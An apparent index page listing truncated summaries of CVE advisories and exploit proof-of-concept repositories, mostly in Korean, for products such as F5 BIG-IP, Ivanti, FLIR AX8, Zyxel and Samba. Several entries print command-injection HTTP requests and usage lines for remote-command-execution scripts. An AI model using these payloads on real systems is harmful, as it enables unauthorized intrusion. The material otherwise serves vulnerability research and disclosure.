The vulnerability of the Test IT testing system lies in the use of external control inputs for class selection, allowing a perpetrator to execute arbitrary commands.

The vulnerability of the Test IT testing system relates to the use of externally controlled input data for class selection. Exploiting this vulnerability allows a malicious actor to execute arbitrary commands remotely...

The vulnerability of the Platypus.js tooling platform, related to deficiencies in the authentication process, allows a violator to execute arbitrary commands.

The vulnerability of the Platypus.js platform is related to deficiencies in the authentication process. Exploiting this vulnerability allows a remote attacker to execute arbitrary commands...

CVE-2026-20032

A vulnerability in the Python interpreter of Cisco NX-OS Software could allow an authenticated, local attacker with low privileges to escape the Python sandbox and gain unauthorized access to the underlying operating system of an affected device. This vulnerability is due to insufficient validati...

CVE-2024-48762

CVE-2024-48762 설명 FLIR AX8 1.46.16 이하 버전의 /usr/www/application/models/settingscamera.php에서 발견된 명령 주입 취약점으로, 공격자가 value 매개변수를 통해 임의의 명령을 실행할 수 있습니다. POC GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX 응답 HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14 Expires: Thu, 19 Nov 1981...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Ivanti ICS 9.x, 22.x 및 Ivanti Policy Secure의 웹 구성 요소에서 발견된 인증 우회 취약점으로 인해 원격 공격자가 제어 검사를 우회하여 제한된 리소스에 액세스할 수 있습니다. 사용법: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh https://my.vpn.ip:443 참고: chmod +x CVE-2023-46805.sh curl 및 jsonpp 애플리케이션 필요 취약할 경우 다음과 같은 결과가 표시됩니다:...

CVE-2020-11107

CVE-2020-11107 제가 발견한 CVE-2020-11107에 대한 분석입니다. Windows용 XAMPP 7.2.29 이전, 7.3.x 7.3.16 이전, 7.4.x 7.4.4 이전 버전에서 문제가 발견되었습니다. 권한이 없는 사용자가 xampp-contol.ini 파일에서 .exe 구성을 변경하여 모든 사용자관리자 포함에 대해 임의 명령 실행을 가능하게 할 수 있습니다. 이 모든 작업은 XAMPP의 제어판을 통해 수행할 수 있습니다. XAMPP는 권한이 없는 사용자가 편집기 및 브라우저 구성에 접근하여 수정할 수 있도...

CVE-2023-50094_POC

reNgine 2.2.0 - 명령 주입 - CVE-2023-50094 설명 이 Python 스크립트는 reNgine 2.2.0에서 인증된 명령 주입 취약점을 악용합니다. 이 익스플로잇은 Scan Engine 구성의 nmapcmd 매개변수를 대상으로 하며, 공격자가 임의 명령을 실행할 수 있게 합니다. 특징 사용자 친화적인 명령줄 인터페이스CLI 기본 URL, 자격 증명 및 Scan Engine ID에 대한 유연한 입력 인증된 사용자를 위한 자동 악용 익스플로잇 세부 정보 CVE ID : TBD 영향받는 버전 : reNgine...

Important: Red Hat Security Advisory: vim security update

An update for vim is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the C...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 익스플로잇 POC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...

CVE-2019-12725

CVE-2019-12725 ZeroShell에 명령 실행 취약점이 존재하여 공격자가 임의의 명령을 실행할 수 있습니다 도구 사용 python3 CVE-2019-12725.py -u http://127.0.0.1:1111 단일 URL 테스트 python3 CVE-2019-12725.py -c http://127.0.0.1:1111 cmdshell 모드 python3 CVE-2019-12725.py -f url.txt 일괄 검사 면책 조항 이 문서에서 제공하는 정보의 전파 및 이용으로 인해 발생하는 모든 직간접적인 결과 및 손실은...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

exploit-CVE-2014-6271

Shellshock 익스플로잇 + 취약 환경 셸쇼크Shellshock는 Bashdoor라고도 알려져 있으며, 널리 사용되는 Unix Bash 셸에서 발견된 일련의 보안 버그입니다. 첫 번째 버그는 2014년 9월 24일에 공개되었습니다. 일부 웹 서버 배포판과 같은 많은 인터넷 노출 서비스가 특정 요청을 처리하기 위해 Bash를 사용하므로, 공격자는 취약한 버전의 Bash가 임의의 명령을 실행하도록 만들 수 있습니다. 이를 통해 공격자는 컴퓨터 시스템에 대한 무단 액세스를 얻을 수 있습니다. 취약 환경 실행하기 이 환경을...

CVE-2024-24576-PoC-Python

CVE-2024-24576-PoC-파이썬 여기에 공개된 취약점의 빠른 PoC: https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ 스크립트를 실행하면 BAT 파일에 전달할 인수를 요청합니다. 스크린샷에서 볼 수 있듯이, "를 추가하면 Windows에서 cmd를 호출하는 기본 API를 이스케이프하여 임의 명령 실행이 가능해집니다. 이 경우에는 calc.exe가 실행되었습니다. 물론 이 코드 자체는 악성 코드가 아닙니다...

CVE-2025-3248-POC

CVE-2025-3248-POC CVE-2025-3248의 POC 대상 머신에서 모든 명령어 실행 사용법: python poc.py 'http://xxx.com' 'ls /' 피해자 컴퓨터에 사랑을 남기세요 poc.py...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" 면책 조항 이 도구는 학습, 연구 및 자가 점검 용도로만 사용됩니다. 불법적인 목적으로 사용해서는 안 됩니다. 이 도구 사용으로 인해 발생하는 모든 위험은 저와 관련이 없습니다! Disclaimer This tool is for study, research, and...

CVE-2019-12735-VIM-NEOVIM

CVE-2019-12735-VIM-NEOVIM USAGE: 前提としてmodeline機能を有効にする必要があります 一般ユーザーではmodeline機能はデフォルトで有効ですが、rootユーザーではデフォルトで無効です。 echo &modeline で有効かどうかを確認します。1が有効、0が無効です。 ない場合は、/.vimrc（ファイルがなければ作成してください）に set modeline を追加してください。 自分で書き込む場合は、エスケープ文字 x1b が非表示文字であることに注意が必要です。...

CVE-2023-24489-ShareFile

ShareFile RCE CVE-2023-24489 이것은 ShareFile 애플리케이션CVE-2023-24489의 원격 코드 실행 취약점을 악용하는 Python 스크립트입니다. 이 취약점으로 인해 공격자는 대상 시스템에서 임의의 명령을 실행할 수 있습니다. 사용법 스크립트를 사용하려면 아래 지침을 따르세요: 1. 필요한 종속성을 설치합니다: pip install requests 2. 원하는 옵션으로 스크립트를 실행합니다: python cve.py --host --windows | --linux --cmd --mass-chec...

CVE-2007-2447

CVE-2007-2447 Samba 익스플로잇 Samba smbd 3.0.20-Debian을 대상으로 하는 CVE-2007-2447 익스플로잇의 독립 실행형 Rust 구현체입니다. 취약점 설명 CVE-2007-2447은 Samba 3.0.0부터 3.0.25rc3까지의 버전에 존재하는 명령 삽입command injection 취약점입니다. 이 취약점은 SamrChangePassword 함수에서 발생하며, 사용자 입력을 제대로 검증하지 못해 공격자가 SMB 인증 중 사용자 이름 필드의 셸 메타문자를 통해 임의의 명령을 실행할 수 ...

CVE-2022-35914-poc

CVE-2022-35914 PoC 参照 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 使い方 pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using a...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Nagios XI에 보고된 버그 CVE-2021-25296 코드 위치 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 코드 조각 if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...